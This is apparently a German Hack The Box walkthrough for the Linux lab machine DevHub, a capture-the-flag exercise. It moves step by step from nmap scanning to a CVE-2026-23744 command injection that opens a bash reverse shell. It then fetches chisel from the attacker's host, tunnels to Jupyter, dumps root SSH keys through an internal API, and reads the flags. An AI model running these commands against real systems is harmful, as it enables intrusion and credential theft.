Hack The Box - DevHub Maschinen-Walkthrough (Mittelschweres Linux, CVE-2026-23744, Chisel-Tunneling, Jupyter, Root-Rechteausweitung)
Maschine: DevHub
Schwierigkeit: Medium
OS: Linux
Themen: CVE-2026-23744, Chisel Tunneling, Jupyter, Flask API, Root Privilege Escalation
nmap -sC -sV devhub.htb
Ergebnis:
Port 22 (SSH)
Port 80 (HTTP)
Port 6274 (MCPJam Inspector)
📌 2. Hosts-Datei anpassen
echo "10.x.x.x devhub.htb" >> /etc/hosts
📌 3. Webseite erkunden
http://devhub.htb/ → Landingpage
http://devhub.htb:6274/ → MCPJam Inspector v1.4.2 (anfällig für CVE-2026-23744)
📌 4. Reverse Shell als mcp-dev
Terminal 1 – Listener:
nc -lvnp 4444
Terminal 2 – Payload:
curl -X POST http://devhub.htb:6274/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.x.x.x/4444 0>&1"],"env":{}},"serverId":"mytest"}'
✅ Shell als mcp-dev
📌 5. Chisel Tunnel einrichten
HTTP-Server (Angreifer):
python3 -m http.server 8000 --bind 10.x.x.x
Chisel auf Ziel herunterladen (mcp-dev-Shell):
cd /tmp
wget http://10.x.x.x:8000/chisel
chmod +x chisel
Chisel-Server (Angreifer):
./chisel server --reverse --port 9001
Chisel-Client (mcp-dev-Shell):
./chisel client 10.x.x.x:9001 R:8888:127.0.0.1:8888 &
📌 6. Jupyter Zugriff
Token auslesen (mcp-dev-Shell):
ps aux | grep jupyter | grep -v grep
Token: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2xxxxxxxxxx
Browser: http://localhost:8888/?token=...
📌 7. Root-SSH-Key abrufen (in Jupyter)
import requests, json
url = "http://127.0.0.1:5000/tools/call"
headers = {"X-API-Key": "opsmcp_secret_key_4f5a6b7xxxxxxxxx", "Content-Type": "application/json"}
payload = {"name": "ops._admin_dump", "args": {"target": "ssh_keys", "confirm": True}}
response = requests.post(url, headers=headers, json=payload)
print(json.dumps(response.json(), indent=2))
📌 8. Root einloggen
nano root_key
# Key einfügen
chmod 600 root_key
ssh -i root_key [email protected]
📌 9. Flags
cat /root/root.txt
cat /home/analyst/user.txt
Root-Flag:
08be4cfb68597d0f9edfccxxxxxxxxxx
Viel Erfolg! 🚀
